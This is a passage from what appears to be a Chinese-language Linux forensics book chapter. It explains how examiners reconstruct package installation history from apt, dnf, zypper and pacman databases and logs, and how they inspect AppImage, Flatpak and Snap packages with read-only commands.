sha256digest=952b21b357d7d881f15942e300e24825cb3530b2262640f43e13fba5a6750592

这可以用来验证软件包中文件的完整性,并提供时间戳以重建时间线。我们可以利用这些信息分析那些异常、恶意或被篡改的软件包。

软件包管理系统分析

上一部分聚焦于安装前个别软件包的文件格式。这里我们将重点转向已安装(或以前安装过)的软件的包管理系统。这包括分析下载软件包的仓库、软件包内容在文件系统中的位置、跟踪已安装软件包的数据库、安装日志等。

一个 Linux 发行版的软件包系统通常包含以下组件:

  • 用于下载已编译二进制包的仓库

  • 用于下载软件包源代码的仓库

  • 包含非自由或具有不同许可协议的仓库

  • 解决依赖关系和冲突的信息

  • 一个包含已安装软件记录的数据库

  • 包管理活动的日志文件(包括卸载)

  • 与后端工具和库交互的前端用户界面

各个 Linux 发行版的包管理系统非常相似。请参阅wiki.archlinux.org/index.php/Pacman/Rosetta以查看软件包管理命令的对比。

从取证的角度来看,我们可以提出许多与软件包管理相关的问题,例如:

  • 当前安装了哪些软件包,哪些版本?

  • 谁安装了这些软件包,何时安装的,以及如何安装的?

  • 哪些软件包被升级了,何时升级的?

  • 哪些软件包被删除了,何时删除的?

  • 使用了哪些仓库?

  • 我们能否确认软件包的完整性?

  • 可以分析哪些日志、数据库和缓存数据?

  • 给定文件系统中的某个特定文件,它属于哪个软件包?

  • 还有哪些其他时间戳是相关的?

解答这些问题有助于重建过去的活动、建立时间线并识别可能的恶意或可疑活动。查找和验证加密哈希值也有助于使用 NSRL 哈希集排除已知的软件。已删除的软件包可能会留下自定义或修改过的配置文件和未删除的数据痕迹。

接下来的几个部分描述了对最常见的发行版的分析。每个部分提供了包管理系统的介绍,并描述了对取证检查员有兴趣的各种文件、数据库和目录位置。

Debian apt

Debian 包管理系统是一组程序,负责管理软件包的搜索/选择、外部仓库、下载、依赖/冲突解决、安装、删除、更新和升级以及其他软件包管理功能。最终用户通过像 Apt、Aptitude、Synaptic 等高级程序与系统交互,选择安装、删除或升级哪些软件包。这些高级程序与 dpkg 命令交互,^(10) 该命令用于管理 Debian 系统上软件包的安装、删除和查询。取证调查员主要关注系统当前的软件包状态,重建过去的软件包活动,并识别其他有趣的证据。

Debian 系统当前已安装的软件包状态存储在 /var/lib/dpkg/status 文件中(软件包“数据库”)。这是一个纯文本文件,每个软件包条目以 Package: 字符串开头,以空行结尾(类似于电子邮件的 mbox 格式)。该文件的备份副本存储在同一目录中,可能被命名为 status-old 或 */var/backups/dpkg.status.**(以前版本的多个副本也可能以压缩形式存在)。

status 文件可以通过任何文本编辑器或文本处理工具轻松查看和搜索。在这个例子中,awk^(11) 工具用于搜索状态文件中的软件包名称(Package: bc)并打印出整个信息块:

$ awk ' /^Package: bc$/ , /^$/ ' /var/lib/dpkg/status
Package: bc
Status: install ok installed
Priority: standard
Section: math
Installed-Size: 233
Maintainer: Ryan Kavanagh <rak@debian.org>
Architecture: amd64
Multi-Arch: foreign
Source: bc (1.07.1-2)
Version: 1.07.1-2+b1
Depends: libc6 (>= 2.14), libncurses6 (>= 6), libreadline7 (>= 6.0), libtinfo6 (>= 6)
Description: GNU bc arbitrary precision calculator language
 GNU bc is an interactive algebraic language with arbitrary precision which
 follows the POSIX 1003.2 draft standard, with several extensions including
 multi-character variable names, an `else' statement and full Boolean
 expressions. GNU bc does not require the separate GNU dc program.
Homepage: http://ftp.gnu.org/gnu/bc/

从取证重建的角度来看,Status: 行是非常有趣的。正常安装的软件包文件会显示 Status: install ok installed。已删除但仍包含用户修改过的配置文件的软件包将显示为 Status: deinstall ok config-files。某些软件包可能会有一个 Conffiles: 行,后面跟着几行,表示管理员可能会修改的配置文件,以及该文件原始安装版本的 MD5 哈希值。例如,以下是 Apache Web 服务器的默认配置文件:

Package: apache2
Status: install ok installed
...
Conffiles:
 /etc/apache2/apache2.conf 20589b50379161ebc8cb35f761af2646
...
 /etc/apache2/ports.conf a961f23471d985c2b819b652b7f64321
 /etc/apache2/sites-available/000-default.conf f3066f67070ab9b1ad9bab81ca05330a
 /etc/apache2/sites-available/default-ssl.conf 801f4c746a88b4228596cb260a4220c4
 ...

MD5 哈希值可以帮助识别偏离软件包默认配置的配置文件。有关 status 文件字段的更多信息,请参见 dpkg-query(1) 手册页。

status 文件不包含安装时间戳。要查看安装日期,必须分析日志文件。多个日志文件记录了软件包管理系统及前端包管理工具的活动。Debian 系统上常见的软件包管理日志包括以下内容:

/var/log/dpkg.log dpkg 活动日志,包括软件包状态的变化(安装、删除、升级等)

/var/log/apt/history.log apt 命令的开始/结束时间以及执行这些命令的用户

/var/log/apt/term.log apt 命令输出(stdout)的开始/结束时间

/var/log/apt/eipp.log.* 记录外部安装计划协议(EIPP)的当前状态,这是一个管理依赖顺序的系统

/var/log/aptitude 记录执行的 Aptitude 操作

/var/log/unattended-upgrades/* 自动化/无人值守升级的日志

已旋转的日志可能会被压缩并重新命名为带有数字的文件名,表示日志文件的相对年龄(例如 dpkg.log.1.gz)。数字越大,日志越旧。

dpkg 的配置信息存储在 /etc/dpkg/ 目录中。apt 的配置信息存储在 /etc/apt/ 目录中。/etc/apt/ 目录包含 sources.listsources.list.d/* 文件。这些文件很重要,因为它们定义了特定 Debian 发行版的外部仓库配置。显式添加的(合法或恶意)仓库将被附加到此文件或保存到 sources.list.d/ 目录中的文件里。Ubuntu 还提供个人软件包档案(PPAs),用户可以通过它的中央 Launchpad 服务器帮助添加单个软件包的源。

/var/lib/dpkg/info/ 目录包含每个已安装软件包的多个文件(这些是来自 DEB 文件的元数据)。这些信息包括文件列表(.list*)、加密哈希(.md5sums)、安装前/安装后和删除脚本等。**.conffiles(如果存在)可能是法医调查人员有用的资源,因为它们列出了配置文件的位置,并且通常会被系统所有者修改。

/var/cache/apt/archives/ 目录包含过去下载的 *.deb 文件。/var/cache/debconf/ 目录是软件包配置信息和模板的中心位置。这里可能感兴趣的是 passwords.dat 文件,它包含系统生成的本地守护进程所需的密码。

请参阅 dpkg(1) 和 apt(8) 手册页,以及 Debian 手册(www.debian.org/doc/manuals/debian-reference/ch02.en.html#_the_dpkg_command) 以获取更多信息。

Fedora dnf

基于 Fedora 的系统使用 dnf(Dandified Yum)来管理软件包,dnf 是 yum(Yellow Dog Update Manager)的继任者。dnf 工具用 Python 编写,并使用 librpm 库来管理已安装的 rpm 软件包。

当前已安装的软件包状态存储在 /var/lib/rpm/ 目录中的一组 Berkeley 数据库文件中。分析这些数据最简单的方法是在一台单独的分析机器上使用 rpm 命令,并使用 --dbpath 标志指向数据库文件的只读副本。例如,要列出存储在单独目录中的数据库文件中的已安装软件包,可以使用 --dbpath 和 -qa 标志:

$ rpm --dbpath=/evidence/ -qa
...
rootfiles-8.1-25.fc31.noarch
evince-libs-3.34.2-1.fc31.x86_64
python3-3.7.6-2.fc31.x86_64
perl-Errno-1.30-450.fc31.x86_64
OpenEXR-libs-2.3.0-4.fc31.x86_64
man-pages-de-1.22-6.fc31.noarch
...

要查看特定已安装软件包的元数据,请使用 --dbpath 和 -qai 标志,并提供软件包名称。以下是使用 Evince 文档查看器包的几个示例:

$ rpm --dbpath=/evidence/ -qai evince
Name        : evince
Version     : 3.34.2
Release     : 1.fc31
Architecture: x86_64
Install Date: Tue Mar 3 06:21:23 2020
Group       : Unspecified
Size        : 9978355
License     : GPLv2+ and GPLv3+ and LGPLv2+ and MIT and Afmparse
Signature   : RSA/SHA256, Wed Nov 27 16:13:20 2019, Key ID 50cb390b3c3359c4
Source RPM  : evince-3.34.2-1.fc31.src.rpm
Build Date  : Wed Nov 27 16:00:47 2019
Build Host  : buildhw-02.phx2.fedoraproject.org
Packager    : Fedora Project
Vendor      : Fedora Project
URL         : https://wiki.gnome.org/Apps/Evince
Bug URL     : https://bugz.fedoraproject.org/evince
Summary     : Document viewer
Description :
Evince is simple multi-page document viewer. It can display and print
...

要查看属于某个软件包的文件列表,请使用 --dbpath 和 -ql 标志(小写字母 L,表示“列表”):

$ rpm --dbpath /evidence/ -ql evince
/usr/bin/evince
/usr/bin/evince-previewer
/usr/bin/evince-thumbnailer
/usr/lib/.build-id
/usr/lib/.build-id/21
/usr/lib/.build-id/21/15823d155d8af74a2595fa9323de1ee2cf10b8
...

要确定某个文件属于哪个软件包,请使用 --dbpath 和 -qf 标志,并提供完整的路径和文件名:

$ rpm --dbpath /evidence/ -qf /usr/bin/evince
evince-3.34.2-1.fc31.x86_64

所有这些命令都可以与位于被分析的 Linux 镜像下 /var/lib/rpm/ 目录中的只读离线 RPM 数据库文件一起使用。请注意,在你的取证工作站上运行 rpm 命令将使用本地的 RPM 配置(例如,/usr/lib/rpm/rpmrc),但这不应影响上述示例中输出的准确性。

RPM 数据库文件传统上是标准的 Berkeley DB 文件,可以通过像 db_dump 这样的工具单独分析。Fedora 33 版本将 RPM 数据库迁移到了 SQLite,并且可以使用相关工具来检查包数据。此外,/var/lib/dnf/ 目录包含了 SQLite 数据库,其中存储了 dnf 包的信息,可以使用 SQLite 工具进行分析。

dnf 命令生成多个日志文件,这些日志文件存储在 /var/log/ 目录中,并列在这里:

  • /var/log/dnf.librepo.log

  • /var/log/dnf.log

  • /var/log/dnf.rpm.log

  • /var/log/dnf.librepo.log

  • /var/log/hawkey.log

其中一些从取证的角度来看兴趣较小,可能仅显示某台计算机在特定时间在线(例如检查更新等)。

dnf.log(或其轮转版本)记录了使用 dnf 命令执行的活动。以下是一个示例:

2020-08-03T19:56:04Z DEBUG DNF version: 4.2.23
2020-08-03T19:56:04Z DDEBUG Command: dnf install -y openssh-server
2020-08-03T19:56:04Z DDEBUG Installroot: /
2020-08-03T19:56:04Z DDEBUG Releasever: 32

在这里,dnf install 命令用于在特定时间安装 openssh-server

dnf 的配置数据可能存储在多个位置:

/etc/dnf/ dnf 的配置数据和模块

/etc/rpm/ rpm 的配置数据和宏

/etc/yum.repos.d/ 远程软件包仓库

查看 dnf.conf(5) 手册页,以获取有关 dnf 配置的更多信息。

SUSE zypper

SUSE Linux 最初有自己的软件包管理器,紧密集成了 YaST 配置工具。后来,SUSE 转而使用 RPM 作为软件包格式,并开发了 ZYpp 包管理器。与 ZYpp 库(libzypp)交互的主要工具是 zypper。配置文件位于 /etc/zypp/zypper.conf/etc/zypp/zypp.conf,分别控制 zypper 工具和 ZYpp 库。这些配置文件指定了各种参数,包括文件和目录的位置。有关更多信息,请参阅 zypper(8) 手册页。

ZYpp 库调用 rpm 工具执行底层的安装和移除任务。因为软件包是标准的 RPM 格式,所以可以像分析基于 Fedora 的系统一样分析已安装的软件包状态。/var/lib/rpm/ 目录包含已安装的软件包数据库,如上一节所述。

ZYpp 记录了多种详细的软件包管理活动日志。/var/log/zypp/history 日志记录了 ZYpp 库的操作,多个前端工具可能会使用这些日志。以下示例显示了安装和移除 cowsay 软件包的日志:

# cat /var/log/zypp/history
...
2020-04-11 12:38:20|command|root@pc1|'zypper' 'install' 'cowsay'|
2020-04-11 12:38:20|install|cowsay|3.03-5.2|noarch|root@pc1|download.opensuse.
org-oss| a28b7b36a4e2944679e550c57b000bf06078ede8fccf8dfbd92a821879ef8b80|
2020-04-11 12:42:52|command|root@pc1|'zypper' 'remove' 'cowsay'|
2020-04-11 12:42:52|remove |cowsay|3.03-5.2|noarch|root@pc1|
...

日志包含基本的 libzypp 操作,包括软件包安装/移除、仓库添加/移除、仓库更改以及使用的命令。

/var/log/zypper.log 文件显示了 zypper 命令行工具的详细活动,/var/log/pk_backend_zypp 则包含了 PackageKit 活动的日志。这两个日志文件中都有一个字段,包含本地系统的主机名。如果主机名是通过 DHCP 动态生成的,从取证角度来看可能很有趣,因为这表明工具运行时的主机名。如果主机名是 FQDN,它可能有一个有效的域名解析到一个 IP 地址。

SUSE 的 zypper-log 工具可以打印 zypper.log 文件的格式化输出:

$ zypper-log -l zypper.log
===============================================================================
Collect from zypper.log ...

TIME                PID      VER   CMD
2020-08-03 09:08   1039  1.14.37   /usr/bin/zypper appstream-cache
2020-08-03 09:08   1074  1.14.37   /usr/bin/zypper -n purge-kernels
2020-08-03 09:08   1128  1.14.37   zypper -n lr
2020-11-12 20:52  29972  1.14.37   zypper search hex
2020-11-12 20:52  30002  1.14.37   zypper search kcrash
2020-11-12 20:52  30048  1.14.37   zypper search dr.conqi
2020-11-13 09:21   2475  1.14.37   zypper updaet
2020-11-13 09:21   2485  1.14.37   zypper -q subcommand
2020-11-13 09:21   2486  1.14.37   zypper -q -h
2020-11-13 09:21   2489  1.14.37   /usr/bin/zypper -q help
2020-11-13 09:21   2492  1.14.37   zypper update
2020-11-13 09:22   2536  1.14.37   zypper dup
2020-11-13 10:02    671  1.14.40   /usr/bin/zypper -n purge-kernels

此输出类似于 shell 历史记录,显示了所有输入的 zypper 命令,包括拼写错误或失败的尝试。-l(小写字母 L)标志指定了如果日志已被复制到分析机器上时要使用的日志文件名。

仓库配置存储在 /etc/repos.d//etc/services.d/ 目录中的定义文件中。服务定义文件管理仓库,并包含 lrf_dat 变量,该变量是一个时间戳(以 Unix 纪元格式表示),指示最后刷新日期。关于远程软件包仓库(元数据)的信息被本地缓存,在 /var/cache/zypp/* 目录中。

一些 SUSE 安装配置为每次运行发行版升级(zypper dist-upgrade)时保存错误报告信息。这将创建一个目录 */var/log/updateTestcase-**,其中 *** 为日期和时间。该目录将包含可用仓库软件包和已安装软件包的压缩 XML 文件(例如 solver-system.xml.gz)。

zypper 工具也可以作为交互式 shell(zypper shell)运行,在这种情况下,命令的历史记录将存储在运行该命令的用户的 ~/.zypper_history 文件中。

/var/lib/zypp/ 目录还包含有关已安装系统的持久信息。安装过程中会生成一个唯一标识符,并在每次从 SUSE 下载文件时用于统计数据。文件 AnonymousUniqueId 包含该字符串,如下所示:

# cat /var/lib/zypp/AnonymousUniqueId
61d1c49b-2bee-4ff0-bc8b-1ba51f5f9ab2

该字符串嵌入在 HTTP 用户代理中(X-ZYpp-AnonymousId:),并在请求文件时发送到 SUSE 的服务器。

Arch pacman

Arch Linux 使用 pacman 命令行工具来下载和管理软件包。配置文件 /etc/pacman.conf 用于控制如何使用 pacman 和关联的 libalpm 库。软件包从远程镜像站点获取,镜像站点在 /etc/pacman.d/mirrorlist 中配置,并按列出的顺序使用。

Arch Linux 系统通常从以下四个源之一安装软件包:

core 运行基本操作的 Arch 系统所需的软件包

extra 添加非核心功能的软件包(例如桌面环境等)

community 来自 Arch 用户库(AUR)的软件包,这些包获得了足够的社区投票,并由受信任的用户(TUs)管理

PKGBUILD AUR 中由社区驱动的脚本,用于从源代码或专有二进制文件(信任未知的情况下)构建软件包

前三个源是官方的 Arch 仓库,包含已编译的二进制包。官方仓库中可用软件包的列表与 /var/lib/pacman/sync/ 目录中的文件同步。这些文件实际上是压缩的 tar 文件(扩展名不同),可以使用常规工具进行解压:

$ file /var/lib/pacman/sync/* 
/var/lib/pacman/sync/community.db: gzip compressed data, last modified:
Mon Apr 6 07:38:29 2020, from Unix, original size modulo 2³² 18120192
/var/lib/pacman/sync/core.db:   gzip compressed data, last modified:
Sun Apr 5 19:10:08 2020, from Unix, original size modulo 2³² 530944
/var/lib/pacman/sync/extra.db:   gzip compressed data, last modified:
Mon Apr 6 07:43:58 2020, from Unix, original size modulo 2³² 6829568
...
$ tar tvf /var/lib/pacman/sync/core.db
drwxr-xr-x lfleischer/users 0 2019-11-13 00:49 acl-2.2.53-2/
-rw-r--r-- lfleischer/users 979 2019-11-13 00:49 acl-2.2.53-2/desc
drwxr-xr-x lfleischer/users  0 2020-04-04 07:11 amd-ucode-20200316.8eb0b28-1/
-rw-r--r-- lfleischer/users 972 2020-04-04 07:11 amd-ucode-20200316.8eb0b28-1/desc
drwxr-xr-x lfleischer/users  0 2020-01-09 08:14 archlinux-keyring-20200108-1/
-rw-r--r-- lfleischer/users 899 2020-01-09 08:14 archlinux-keyring-20200108-1/desc
...

时间戳表示仓库包列表和单个包最后更新的时间。

签名的软件包和数据库的完整性使用 GnuPG 进行验证,并在 pacman(8) 手册中进行描述。用于验证签名的 GPG 密钥存储在 /etc/pacman.d/gnupg/ 目录中。

安装的软件包元数据的默认位置是 /var/lib/pacman/local/ 目录。系统中为每个已安装的软件包创建一个独立的目录,并包含以下文件:

desc 提供已安装包的描述(元数据)和安装时间戳

files 软件包安装的文件和目录列表

mtree 一个压缩的文本文件,包含有关单个文件和目录的信息

install 一个可选文件,包含安装、升级或删除后的命令

changelog 一个可选文件,记录软件包的变更历史

这些与之前描述的 Arch Linux 包格式中的文件相对应。

mtree 文件包含了安装包所需的文件名、时间戳、加密哈希值和权限。有关该格式的更多信息,请参见 mtree(5)手册页。mtree的内容是经过 gzip 压缩的(但没有文件扩展名),可以通过zlesszcat查看。在此示例中,来自 sfsimage^(14)包的mtree文件被分析:

$ zcat /var/lib/pacman/local/sfsimage-1.0-1/mtree
#mtree
/set type=file uid=0 gid=0 mode=644
./.BUILDINFO time=1586180739.0 size=58974 md5digest=352b893f2396fc6454c78253d5a3be5a
sha256digest=681193c404391246a96003d4372c248df6a977a05127bc64d49e1610fbea1c72
./.PKGINFO time=1586180739.0 size=422 md5digest=32a5ef1a7eab5b1f41def6ac57829a55
sha256digest=3dd26a5ca710e70e7c9b7c5b13043d6d3b8e90f17a89005c7871313d5e49a426
...
./usr/bin/sfsimage time=1586180739.0 size=10168
md5digest=e3dcfcb6d3ab39c64d733d8fa61c3097
sha256digest=1c19cc2697e214cabed75bd49e3781667d4abb120fd231f9bdbbf0fa2748c4a3
...
./usr/share/man/man1/sfsimage.1.gz time=1586180739.0 mode=644 size=1641
md5digest=2d868b34b38a3b46ad8cac6fba20a323
sha256digest=cb8f7d824f7e30063695725c897adde71938489d5e84e0aa2db93b8945aea4c1

当软件包被移除时,安装的文件会与该包的元数据目录一起被删除。

包的安装、更新和移除历史记录会被记录在/var/log/pacman.log文件中。以下示例展示了一个软件包的安装和随后的移除:

$ cat /var/log/pacman.log
[2020-04-06T16:17:16+0200] [PACMAN] Running 'pacman -S tcpdump'
[2020-04-06T16:17:18+0200] [ALPM] transaction started
[2020-04-06T16:17:18+0200] [ALPM] installed tcpdump (4.9.3-1)
[2020-04-06T16:17:18+0200] [ALPM] transaction completed
...
[2020-04-06T16:18:01+0200] [PACMAN] Running 'pacman -R tcpdump'
[2020-04-06T16:18:02+0200] [ALPM] transaction started
[2020-04-06T16:18:02+0200] [ALPM] removed tcpdump (4.9.3-1)
[2020-04-06T16:18:02+0200] [ALPM] transaction completed
...

在日志中,PACMAN指的是用户执行的pacman命令,而ALPM指的是libalpm库的活动(包括安装依赖)。

从各种仓库下载的软件包会被缓存到/var/cache/pacman/pkg/目录中。从取证角度来看,这可能很有趣,因为该目录包含了更新过的包文件的历史版本,并且不会删除已经移除的包文件。文件系统的时间戳将显示软件包何时被下载用于安装或更新。

AUR 中的那些不属于 Arch 社区仓库的软件包需要通过多个手动步骤来安装。这个过程通常通过 AUR 帮助脚本自动化(两个常见的 AUR 帮助工具是yaypacaur)。这些程序下载PKGBUILD和源文件,解压并编译源代码,创建并安装包,然后清理所有临时文件。这些帮助脚本可能会在用户的~/.cache/目录中留下文件和数据,并带有软件包构建时的文件系统时间戳。有许多 AUR 帮助程序可用,每个程序可能都有自己的配置和日志信息。有关 AUR 帮助程序的完整列表,请参见wiki.archlinux.org/index.php/AUR_helpers

通用软件包分析

一些软件安装和打包系统绕过了 Linux 发行版的标准机制。如果这些系统设计为独立于所选的 Linux 发行版(或某个特定版本的发行版)运行,它们有时被称为通用软件包通用包系统

一些软件打包系统还设计为跨非 Linux 操作系统或企业容器平台(例如 Docker)工作。本节主要关注 Linux 特定的本地打包系统。

AppImage

AppImage 的设计目的是通过创建自包含的便携文件格式,提供跨多个 Linux 发行版和版本兼容的二进制文件。AppImage 最常见的用途是在稳定的 Linux 发行版上运行最新版本的桌面应用程序,这些发行版的本地软件包仓库中的应用程序版本较旧。AppImage 也可以用来运行旧版本的软件。本节后面展示的示例将分析一个来自 1990 年代中期的 NCSA Mosaic 浏览器的工作 AppImage。

AppImage 格式将所有必要的二进制文件、库和支持文件捆绑到一个可执行文件中。任何用户都可以下载 AppImage 文件,授予执行权限,然后运行它。无需进一步的安装或根权限。AppImage 二进制文件嵌入了一个 squashfs 文件系统,其中存储了文件的目录结构。当二进制文件运行时,这个 squashfs 文件系统通过 FUSE 挂载,执行传递给一个名为 AppRun 的内部程序。AppImage 二进制文件并不是在一个隔离的沙盒中运行,它们可以访问文件系统的其他部分。用户的主目录可能包含与 AppImage 程序相关的配置、缓存和其他文件。

每个 AppImage 可执行文件都包括用于文件提取、squashfs 挂载等的标志。从取证角度来看,最有趣的标志是 --appimage-offset,它提供了嵌入的 squashfs 文件系统的字节偏移量。这个偏移量使我们能够使用 unsquashfs 命令访问文件系统,提取详细的信息和文件(包括保留的时间戳)。这个标志的问题是我们必须执行二进制文件,这存在安全风险(特别是在分析可疑或恶意文件时)。为了避免这种风险,可以通过 readelf 命令独立计算偏移量。

readelf 工具提供有关可执行文件头的信息,通过 -h 标志:

$ readelf -h NCSA_Mosaic-git.6f488cb-x86_64.AppImage
ELF Header:
  Magic:  7f 45 4c 46 02 01 01 00 41 49 02 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       65
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401fe4
  Start of program headers:          64 (bytes into file)
  Start of section headers:          110904 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         8
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

squashfs 文件系统从节头之后开始。这个偏移量可以很容易地从节头行计算出来:

Start of section headers:      110904 (bytes into file)
Size of section headers:       64 (bytes)
Number of section headers:     31

字节偏移量是通过 Start + (Size * Number)的方式计算得出的,或者在我们的示例中:

110904 + ( 64 * 31 ) = 112888

这个字节偏移量(112888)可以与 unsquashfs 一起使用,提取信息和文件。

在以下 unsquashfs 示例中,-o 指定了 AppImage 文件中的偏移量,-s 显示有关文件系统的信息(包括时间戳):

$ unsquashfs -s -o 112888 NCSA_Mosaic-git.6f488cb-x86_64.AppImage
Found a valid SQUASHFS 4:0 superblock on NCSA_Mosaic-git.6f488cb-x86_64.AppImage.
Creation or last append time Tue Apr 18 23:54:38 2017
Filesystem size 3022295 bytes (2951.46 Kbytes / 2.88 Mbytes)
Compression gzip
Block size 131072
...

我们可以使用偏移量和 -ll 标志(两个小写字母 L)来获取更详细的文件列表:

$ unsquashfs -ll -o 112888 NCSA_Mosaic-git.6f488cb-x86_64.AppImage
Parallel unsquashfs: Using 4 processors
19 inodes (75 blocks) to write

drwxrwxr-x root/root           96 2017-04-18 23:54 squashfs-root
-rw-rw-r-- root/root          653 2017-04-18 23:54 squashfs-root/.DirIcon
lrwxrwxrwx root/root           14 2017-04-18 23:54 squashfs-root/AppRun -> usr/bin/Mosaic
-rw-rw-r-- root/root          149 2017-04-18 23:54 squashfs-root/mosaic.desktop
-rw-rw-r-- root/root          653 2017-04-18 23:54 squashfs-root/mosaic.png
drwxrwxr-x root/root           50 2017-04-18 23:54 squashfs-root/usr
drwxrwxr-x root/root           29 2017-04-18 23:54 squashfs-root/usr/bin
-rwxrwxr-x root/root      2902747 2017-04-18 23:54 squashfs-root/usr/bin/Mosaic
...

可以提取整个文件系统树,或者我们可以提取单个文件。在这个示例中,提取了一个文件(如果 squashfs-root 目录不存在,unsquashfs 会创建它):

$ unsquashfs -o 112888 NCSA_Mosaic-git.6f488cb-x86_64.AppImage mosaic.desktop
...
created 1 files
created 1 directories
created 0 symlinks
created 0 devices
created 0 fifos
$ ls -l squashfs-root/
total 4
-rw-r----- 1 sam sam 149 18\. Apr 2017 mosaic.desktop

字节偏移量还可以用来在取证分析机器上挂载嵌入的文件系统,在那里可以使用其他程序浏览它:

$ sudo mount -o offset=112888 NCSA_Mosaic-git.6f488cb-x86_64.AppImage /mnt
...
$ ls -l /mnt
total 2
lrwxrwxrwx 1 root root 14 18\. Apr 2017 AppRun -> usr/bin/Mosaic
-rw-rw-r-- 1 root root 149 18\. Apr 2017 mosaic.desktop
-rw-rw-r-- 1 root root 653 18\. Apr 2017 mosaic.png
drwxrwxr-x 5 root root 50 18\. Apr 2017 usr/

因为这是 squashfs,所以它是只读的,因此不会有意外修改挂载目录内容的危险。

AppImage 文件可以在用户具有写入权限的任何地方找到。由于它们是普通的 ELF 可执行文件,因此具有与其他可执行文件相同的魔术字符串和其他属性。.AppImage 文件扩展名可能是唯一的文件类型指示符。AppImage 文件的文件系统时间戳(BirthModify)可能指示文件何时被下载,而 squashfs 内部的时间戳则指示 AppImage 文件何时被构建。

Flatpak

Flatpak(从 xdg-app 更名而来)旨在为 Linux 发行版独立的桌面应用程序打包和分发。Flatpak 使用仓库通过 OSTree 系统传输和更新文件。OSTree 类似于 Git,但它跟踪的是二进制文件而不是源代码。这些应用程序在容器中运行,并显式授予访问本地系统资源的权限。

Flatpak 有几个配置文件可以检查。系统范围的配置文件位于 /etc/flatpak/,其中可能包含覆盖默认设置的配置文件(.conf),并配置系统中使用的仓库。

$ cat /etc/flatpak/remotes.d/flathub.flatpakrepo
[Flatpak Repo]
Title=Flathub
Url=https://dl.flathub.org/repo/
Homepage=https://flathub.org/
Comment=Central repository of Flatpak applications
Description=Central repository of Flatpak applications
Icon=https://dl.flathub.org/repo/logo.svg
GPGKey=mQINBFlD2sABEADsiUZUOYBg1UdDaWkEdJYkTSZD682
...

配置文件描述了仓库或 repo,指定了 URL 位置,并存储了用于验证签名的 GPG 公钥。

系统范围的目录是 /var/lib/flatpak/,该目录包含运行时数据和进一步的配置。描述仓库基本行为的配置可以在 /var/lib/flatpak/repo/config 文件中找到:

$ cat /var/lib/flatpak/repo/config
[core]
repo_version=1
mode=bare-user-only
min-free-space-size=500MB
xa.applied-remotes=flathub;

[remote "flathub"]
url=https://dl.flathub.org/repo/
xa.title=Flathub
gpg-verify=true
gpg-verify-summary=true
xa.comment=Central repository of Flatpak applications
xa.description=Central repository of Flatpak applications
xa.icon=https://dl.flathub.org/repo/logo.svg
xa.homepage=https://flathub.org/

单个用户也可以安装 Flatpak 仓库、数据和配置,这些内容完全包含在其本地主目录中 (~/.local/share/flatpak/)。

应用程序安装到它们自己的子目录中,并位于 */var/lib/flatpak/app/**。可能存在多个版本,符号链接表示当前或活动版本。Flatpak 应用程序目录中的 current/active/metadata 文件提供了用于运行和设置沙箱环境的配置信息,例如:

$ cat /var/lib/flatpak/app/org.jitsi.jitsi-meet/current/active/metadata
[Application]
name=org.jitsi.jitsi-meet
runtime=org.freedesktop.Platform/x86_64/20.08

sdk=org.freedesktop.Sdk/x86_64/20.08
base=app/org.electronjs.Electron2.BaseApp/x86_64/20.08
command=jitsi-meet-run

[Context]
shared=network;ipc;
sockets=x11;pulseaudio;
devices=all;

[Session Bus Policy]
org.gnome.SessionManager=talk
org.freedesktop.Notifications=talk
org.freedesktop.ScreenSaver=talk
org.freedesktop.PowerManagement=talk

[Extension org.jitsi.jitsi_meet.Debug]
directory=lib/debug
autodelete=true
no-autodownload=true

[Build]
built-extensions=org.jitsi.jitsi_meet.Debug;org.jitsi.jitsi_meet.Sources;

在这里,可以定义不同的权限、策略、路径等。有关此文件格式的描述,请参阅 flatpak-metadata(5) 手册页。

Flatpak 明确记录了安装、更新和卸载操作到 systemd 日志中,可以通过 flatpak history 命令查看。有关 Flatpak 日志记录的更多信息,请参阅 flatpak-history(1) 手册页。

Flatpak 的安装和卸载操作记录在 systemd 日志中,如下所示:

...
Dec 05 10:14:07 pc1 flatpak-system-helper[131898]: system:
Installed app/org.sugarlabs.MusicKeyboard/x86_64/stable from flathub
...
Dec 05 10:18:24 pc1 flatpak-system-helper[131898]: system:
Uninstalled app/org.sugarlabs.MusicKeyboard/x86_64/stable
...

在这里,systemd 日志中有两条记录,显示 Sugar Labs 的 Music Keyboard Flatpak 被安装,然后在几分钟后被卸载。

启动和停止 Flatpak 应用程序的操作也可能会记录在日志中:

...
Dec 05 10:14:44 pc1 systemd[400]: Started
app-flatpak-org.sugarlabs.MusicKeyboard-144497.scope.
...
Dec 05 10:16:42 pc1 systemd[400]:
app-flatpak-org.sugarlabs.MusicKeyboard-144497.scope: Succeeded.
...

在这里,日志中有两条记录显示应用程序已启动并运行了几分钟,然后被关闭。这些信息也存储在 systemd 用户日志中,可以用于法医检查以重建过去的应用程序使用情况。

也可以使用 Flatpak 包捆绑包。它们被称为单文件捆绑包,文件扩展名为 .flatpak。Flatpak 文件以 flatpak 的魔术字符串开头,并包含安装所需的文件:

00000000  66 6C 61 74 70 61 6B flatpak

该文件格式源自 Docker 的开放容器倡议(OCI)。使用单文件捆绑包不如开发者推荐的使用软件仓库那样常见。

Snap

Canonical 的软件开发人员创建了一种自包含的包格式,称为 Snap,并配有一个中央应用商店 (snapcraft.io/)。Snap 包旨在跨发行版独立使用,但 Ubuntu 是唯一默认使用它们的主流发行版。在对使用 snaps 的系统进行法医调查时,我们可以确定安装了哪些 snaps,何时安装或更新,以及有关 snap 内容(文件、配置等)的信息。

Snap 包的扩展名为 .snap,但它们是常规的 squashfs 压缩文件系统。可以轻松地挂载并浏览以获取更多信息:

$ sudo mount gnome-calculator_238.snap /mnt
$ ls -l /mnt
total 1
drwxr-xr-x 2 root root  37 10\. Sep 2018 bin/
-rwxr-xr-x 1 root root 237 10\. Sep 2018 command-gnome-calculator.wrapper
-rw-r--r-- 1 root root  14 10\. Sep 2018 flavor-select
drwxr-xr-x 2 root root   3 10\. Sep 2018 gnome-platform/
drwxr-xr-x 2 root root  40 10\. Sep 2018 lib/
drwxr-xr-x 3 root root  43 10\. Sep 2018 meta/
drwxr-xr-x 3 root root  82 10\. Sep 2018 snap/
